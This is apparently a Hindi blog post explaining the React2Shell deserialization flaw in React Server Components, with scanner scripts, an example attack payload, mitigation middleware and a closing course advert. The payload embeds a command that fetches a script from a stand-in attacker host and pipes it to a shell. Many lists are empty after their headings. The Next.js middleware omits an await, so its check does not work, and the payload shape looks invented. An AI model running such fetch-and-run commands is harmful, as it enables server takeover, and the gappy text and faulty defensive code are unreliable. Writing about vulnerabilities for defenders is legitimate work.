
लेखक: लैक्लन डेविडसन
अन्तिम अद्यतन: 4 दिसम्बर 2025
पिछले कुछ वर्षों में React तथा इससे जुड़े फ़्रेमवर्कों का उपयोग तेज़ी से बढ़ा है। लोकप्रियता के साथ कमजोरियों का जोखिम भी बढ़ता है, विशेषकर वे जो इकोसिस्टम के महत्वपूर्ण हिस्सों को प्रभावित करती हैं।
29 नवम्बर 2025 को मैंने (लैक्लन डेविडसन) Meta टीम को React2Shell (CVE-2025-55182) नामक एक गम्भीर कमज़ोरी का ज़िम्मेदाराना खुलासा किया। यह खामी React Server Components (RSC) के “Flight” प्रोटोकॉल में असुरक्षित डी-सीरीयलाइज़ेशन के कारण अप्रमाणित रिमोट कोड एक्ज़ीक्यूशन (RCE) की अनुमति देती है। React तथा Vercel टीमों ने 3 दिसम्बर 2025 को इसका पैच जारी किया।
इस ब्लॉग में आप पाएँगे:
चाहे आप सुरक्षा विशेषज्ञ हों, डेवलपर हों या नयी वेब तकनीकों के उत्साही—यह गाइड शुरुआती से उन्नत स्तर तक आपका मार्गदर्शन करेगी।
Next.js में React को “vendored” रूप में शामिल किये जाने के कारण CVE-2025-66478 अलग से जारी किया गया, ताकि परंपरागत स्कैनर जिस निर्भरता को न देखें, उसे भी ट्रैक किया जा सके।
React Server Components के Flight प्रोटोकॉल में मौजूद यह कमज़ोरी निम्न विशेषताओं वाली है:
समस्या का मूल D-सीरीयलाइज़ेशन है, जहाँ इनकमिंग पेलोड की संरचना का पर्याप्त सत्यापन नहीं होता। हमलावर अनुकूलित डाटा भेजकर सर्वर-साइड कोड चला सकता है।
सरल प्रवाह:
React के vendored होने से पारम्परिक स्कैनर इसे नजरअंदाज़ कर सकते हैं, इसलिये CVE-2025-66478 जारी किया गया।
डी-सीरीयलाइज़ेशन तब असुरक्षित होती है जब:
Flight प्रोटोकॉल तेज़ डेटा आदान-प्रदान हेतु बना, पर अपर्याप्त वैलिडेशन ने हमले का रास्ता खोल दिया।
हमलावर ने कस्टम Flight पेलोड भेजकर:
Wiz के आँकड़े:
#!/bin/bash
TARGET="<target_url>"
PAYLOAD='{"malicious":"payload"}'
echo "Scanning $TARGET..."
RESPONSE=$(curl -s -X POST -H "Content-Type: application/json" -d "$PAYLOAD" "$TARGET")
if echo "$RESPONSE" | grep -q "Error processing Flight payload"; then
echo "संभावित कमज़ोरी पाई गई!"
else
echo "स्पष्ट संकेत नहीं मिले। आगे जाँच आवश्यक।"
fi
import requests, json
def scan_target(url):
payload = {"test":"data","action":"simulate_deserialization"}
try:
r = requests.post(url, headers={"Content-Type":"application/json"},
data=json.dumps(payload), timeout=5)
if "Error processing Flight payload" in r.text:
print(f"[!] {url} प्रभावित हो सकता है")
else:
print(f"[-] {url} पर तत्काल संकेत नहीं")
except requests.RequestException as e:
print(f"स्कैन त्रुटि: {e}")
for u in ["https://example.com/api/flight"]:
scan_target(u)
const maliciousPayload = {
component: "ShellExec",
args: {
command: "bash -c 'curl -fsSL http://attacker.com/malware.sh | sh'",
},
_meta: { timestamp: Date.now(), nonce: Math.random().toString(36).slice(2) }
};
sendToServer(JSON.stringify(maliciousPayload));
Disclaimer: केवल शैक्षिक उद्देश्य; अनधिकृत शोषण दण्डनीय है।
vm#runInThisContext, child_process#exec, fs#writeFile जैसी फ़ंक्शनों की उपस्थिति अपने-आप खतरा सिद्ध नहीं करती। वास्तविक React2Shell शोषण इन पर निर्भर नहीं।
सुरक्षा टीमें:
react-server-dom* 19.0.1+, 19.1.2+, 19.2.1+ इत्यादि।// Next.js मिडलवेयर उदाहरण
import { NextResponse } from 'next/server';
export function middleware(request) {
if (request.nextUrl.pathname.startsWith('/api/flight')) {
try {
const body = request.json();
if (!body || typeof body !== 'object' || !body.component)
return new NextResponse('नामान्य पेलोड', { status: 400 });
} catch {
return new NextResponse('रिक्वेस्ट प्रोसेस त्रुटि', { status: 400 });
}
}
return NextResponse.next();
}
React2Shell (CVE-2025-55182) दर्शाता है कि लोकप्रिय फ़्रेमवर्क भी उच्च-गम्भीरता कमज़ोरियों से मुक्त नहीं। असुरक्षित डी-सीरीयलाइज़ेशन के कारण यह खामी अप्रमाणित RCE सक्षम करती है।
मुख्य बिन्दु:
सुरक्षित कोडिंग के लिये शुभकामनाएँ!
यदि आपको यह सामग्री मूल्यवान लगी, तो कल्पना कीजिए कि आप हमारे व्यापक 47-सप्ताह के विशिष्ट प्रशिक्षण कार्यक्रम के साथ क्या हासिल कर सकते हैं। 1,200+ से अधिक छात्रों से जुड़ें जिन्होंने यूनिट 8200 तकनीकों के साथ अपने करियर को बदल दिया है।